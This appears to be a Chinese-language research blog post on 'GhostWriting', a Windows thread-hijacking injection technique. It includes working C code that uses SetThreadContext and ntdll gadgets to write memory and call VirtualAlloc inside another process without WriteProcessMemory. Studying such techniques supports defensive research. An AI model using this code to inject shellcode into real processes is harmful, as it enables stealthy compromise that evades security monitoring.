在看雪看到dayday向上8师傅的文章来自2007年的鬼写注入,发现这个技术c0de90e7/GhostWriting有区别于普通的注入技术。
GhostWriting不使用 OpenProcess -> VirtualAllocEx -> WriteProcessMemory -> CreateRemoteThread 这一经典注入流程,而是启发性的操作目标线程配合Gadget技术来达到执行的目的。
故也来研究一番,代码仅为研究,部分功能略写,下文仅做观后感。
文笔不佳,如有错误,敬请指正。
0x00 一个开始
对于一个在运行中的进程来说,我们需要关注的点就是代码执行到的位置(EIP)和当前的堆栈环境(ESP),值得提一嘴的是线程切换的本质就是ESP的切换。
而对于每一个线程的执行的情况,又有上下文结构CONTEXT来描述。
我们使用SuspendThread函数挂起线程后,可以对其使用GetThreadContext/SetThreadContext函数来获取/设置挂起时的线程上下文环境。
我们可以修改再设置获取到的上下文环境,然后使用ResumeThread函数使得线程根据我们设置的上下文环境继续运行。
而这就是GhostWriting的核心思想:通过修改线程上下文的方式来劫持目标线程。
0x01 逐个击破
我们的目标是让其他线程执行我们想要执行的功能或者ShellCode。
由于Windows的内存管理机制,R3进程之间的内存并不共享,线程操作的内存则是依附在进程的内存。
所以我们如果想要目标线程执行我们的ShellCode,不能直接修改EIP指向我们ShellCode的地址,而是得写入到目标进程,且不使用WriteProcessMemory 类似功能的函数。所以我们就得让目标线程去执行类似于MOV [dstREG],srcREG 这种指令。
Tips: 由于SetContext之后ResumeThread线程,有些易变寄存器是不能修改成功的,测试下来有如下寄存器可以使用:
RBX RBP RSI RDI R9 R12 R13 R14 R15
如何寻找这种指令?
众所周知,进程在加载的时候都会加载一批系统DLL,例如ntdll.dll kernel32.dll,虽然R3内存不共享,但是这些系统DLL却是用同一份代码,映射的同一个物理页。所以我们可以寻找DLL里存在的指令。当线程执行MOV指令后,就能写到目标进程的内存空间。
这里我们以ntdll.dll举例,搜索mov [rdi],rsi 指令。

打开发现命令位于函数中部,那么问题又来了,修改上下文EIP寄存器去指向MOV指令的地址后,不可避免的会执行下面剩余的代码。为了避免执行多余代码对于目标造成的影响,我们尽可能找到位于函数末尾的指令。而函数的末尾,不可避免的会进行堆栈的平衡,retn指令也会影响堆栈,不过我们只需要在修改上下文的时候同时将ESP减去相应的值就可以让堆栈平衡。
但是问题又来了,retn也会改变EIP,会让程序跑飞。为了避免这个问题最好让ret的返回地址是安全且可知的,这样才能在我们自己的进程中监控到这一目的行为。最简单的方式就跳转到一个死锁的位置,例如JMP SELF,这里直接搜其硬编码EB FE即可。
那就第一次得先执行一次写入,把自锁地址写入堆栈,就完成了整个前提条件的准备。
而这又能解决下一个问题,就是执行时机的问题。
我们定时挂起线程检查EIP是否执行到自锁的位置就能知道这一次的写入是否完成。
综上所述,我们解决了两个问题:
- 通过Gadget将我们预期的数据写入目标进程预期的位置
- 判断写入是否完成
而这两个也是最核心的问题。
0x02 一一构建
系统环境:Windows 10 企业版 LTSC 21H2 64bit
编译环境:
- Microsoft Visual Studio Professional 2019 版本 16.11.27
- Visual Studio 2019 (v142)
- SDK 10.0
目标进程:自写死循环的控制台进程
0x03 简易演示
方便查找均使用导出函数。
Gadget指令:
1 2 3 4 5 6
| RtlInitializeGenericTableAvl + 0X4D 48 89 7E 50 mov [rsi+50h], rdi # 通过rdi和rsi写入shellcode,注意在设计写入地址的时候要注意减去0x50。 48 8B 74 24 40 mov rsi, [rsp+28h+arg_10] 48 83 C4 20 add rsp, 20h 5F pop rdi C3 retn
|
自锁指令:
1
| RtlIpv6StringToAddressExW + 0x1BB
|
核心功能代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| VOID GwExecuteGadget(IN LPHANDLE lpThreadHandle, IN LPCONTEXT lpContext,IN DWORD64 qwJmpSelf) { CONTEXT ctCurrentContext = { 0 }; ctCurrentContext.ContextFlags = CONTEXT_FULL;
GwResumeThread(lpThreadHandle, lpContext); while (1) { Sleep(30); GwSuspendThreadByHandle(lpThreadHandle, &ctCurrentContext); if (ctCurrentContext.Rip == (DWORD64)qwJmpSelf) { break; } ResumeThread(*lpThreadHandle); } }
|
关键测试代码:
这里我只给出第一次写返回地址的代码,写其他数据也同理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| typedef enum emRefgister64 { HEAD = 14, RAX, RCX, RDX, RBX, RSP, RBP, RSI, RDI, R8, R9, R10, R11, R12, R13, R14, R15, RIP }EMRG64;
typedef struct stGadgetInfo { EMRG64 SrcRegister; EMRG64 DstRegister; DWORD RegisterOffset; DWORD dwPreStackSize; DWORD64 qwGadgetAddress; DWORD64 qwAutoLockAddress; }GGIF, *PGGIF;
GGIF ggGadgetInfo = { 0 }; ggGadgetInfo.SrcRegister = RDI; ggGadgetInfo.DstRegister = RSI; ggGadgetInfo.dwPreStackSize = 0x28; ggGadgetInfo.RegisterOffset = 50;
VOID GwWriteReturnAddress(IN LPHANDLE lpThreadHandle, IN PGGIF pGadgetInfo) { CONTEXT ctTmp = { 0 }; ctTmp.ContextFlags = CONTEXT_FULL; GetThreadContext(*lpThreadHandle, &ctTmp); ctTmp.Rsp -= (DWORD64)pGadgetInfo->dwPreStackSize + 8; ctTmp.Rip = pGadgetInfo->qwGadgetAddress; ((PDWORD64)&ctTmp)[pGadgetInfo->SrcRegister] = pGadgetInfo->qwAutoLockAddress; ((PDWORD64)&ctTmp)[pGadgetInfo->DstRegister] = ctTmp.Rsp + pGadgetInfo->dwPreStackSize - pGadgetInfo->RegisterOffset; GwExecuteGadget(lpThreadHandle, &ctTmp, pGadgetInfo->qwAutoLockAddress); }
|

RSP: 0x000000eab74ffc28
RDI: 0x00007ff8208ddd1b(SelfLock)
RSI:0x000000eab74ffc00
RIP:0x00007ff82094de29(Gadget)、
放过去之后成功断下来


已然写入成功。
2024/04/17 更新
在上面写入的基础上再进一步深入,让线程执行我们需要的函数,例如VirtualAlloc,并且获取返回值。
具体思路就是对于堆栈的设计,把预计执行的函数地址放在RSP-8的位置,再把预期的堆栈整体上抬。
这里会出现一个幺蛾子,在VirtualAlloc的执行过程中,会修改到Rbp+8和Rbp+0x10的位置,如果还是紧接着原本函数堆栈进行提升的话,程序的原始堆栈会遭到破坏,所以最好预留出足够的堆栈空间。
部分代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
| typedef struct stGadgetInfo { EMRG64 SrcRegister; EMRG64 DstRegister; DWORD RegisterOffset; DWORD dwPreStackSize; DWORD64 dwExtStackSize; DWORD64 qwGadgetAddress; DWORD64 qwAutoLockAddress; }GGIF, *PGGIF;
VOID GwExecuteGadget(IN LPHANDLE lpThreadHandle, IN LPCONTEXT lpContext, IN DWORD64 qwJmpSelf, IN BOOL isHaveRetValue, OUT PDWORD64 pRetValue) { CONTEXT ctCurrentContext = { 0 }; ctCurrentContext.ContextFlags = CONTEXT_FULL;
GwResumeThread(lpThreadHandle, lpContext);
while (1) { Sleep(30); GwSuspendThreadByHandle(lpThreadHandle, &ctCurrentContext); if (ctCurrentContext.Rip == (DWORD64)qwJmpSelf) { break; } ResumeThread(*lpThreadHandle); }
if (isHaveRetValue) { *pRetValue = ctCurrentContext.Rax; } }
DWORD64 GwWriteReturnAddress(IN LPHANDLE lpThreadHandle, IN PGGIF pGadgetInfo, IN DWORD dwFuncArgc, IN PDWORD64 pArg, IN DWORD64 pCallFuncAddress) { CONTEXT ctTmp = { 0 }; ctTmp.ContextFlags = CONTEXT_FULL; GetThreadContext(*lpThreadHandle, &ctTmp); ctTmp.Rsp -= (DWORD64)pGadgetInfo->dwPreStackSize + (DWORD64)pGadgetInfo->dwExtStackSize; ctTmp.Rip = pGadgetInfo->qwGadgetAddress; ((PDWORD64)&ctTmp)[pGadgetInfo->SrcRegister] = pGadgetInfo->qwAutoLockAddress; ((PDWORD64)&ctTmp)[pGadgetInfo->DstRegister] = ctTmp.Rsp + pGadgetInfo->dwPreStackSize - pGadgetInfo->RegisterOffset; GwExecuteGadget(lpThreadHandle, &ctTmp, pGadgetInfo->qwAutoLockAddress, FALSE, 0); if (dwFuncArgc != 0) { ((PDWORD64)&ctTmp)[pGadgetInfo->SrcRegister] = pCallFuncAddress; ((PDWORD64)&ctTmp)[pGadgetInfo->DstRegister] = ((ctTmp.Rsp + pGadgetInfo->dwPreStackSize - pGadgetInfo->RegisterOffset) - 8); GwExecuteGadget(lpThreadHandle, &ctTmp, pGadgetInfo->qwAutoLockAddress, FALSE, 0);
for (DWORD i = 1; i <= (dwFuncArgc - 4); i++) { ((PDWORD64)&ctTmp)[pGadgetInfo->SrcRegister] = *(pArg + dwFuncArgc - i); ((PDWORD64)&ctTmp)[pGadgetInfo->DstRegister] = ((ctTmp.Rsp + pGadgetInfo->dwPreStackSize - pGadgetInfo->RegisterOffset) - ((i + 1) << 3));
GwExecuteGadget(lpThreadHandle, &ctTmp, pGadgetInfo->qwAutoLockAddress, FALSE, 0); }
ctTmp.R9 = *(pArg + 3); ctTmp.R8 = *(pArg + 2); ctTmp.Rdx = *(pArg + 1); ctTmp.Rcx = *(pArg + 0);
DWORD64 qwRetValue = 0; ctTmp.Rsp -= 0x8; ((PDWORD64)&ctTmp)[pGadgetInfo->DstRegister] = (ctTmp.Rsp + pGadgetInfo->dwPreStackSize - pGadgetInfo->RegisterOffset); GwExecuteGadget(lpThreadHandle, &ctTmp, pGadgetInfo->qwAutoLockAddress, TRUE, &qwRetValue);
return qwRetValue; }
|

成功申请了
完整代码:GhostWrite.zip
如果你要对GUI程序进行劫持,那就得向程序发送信息后再恢复线程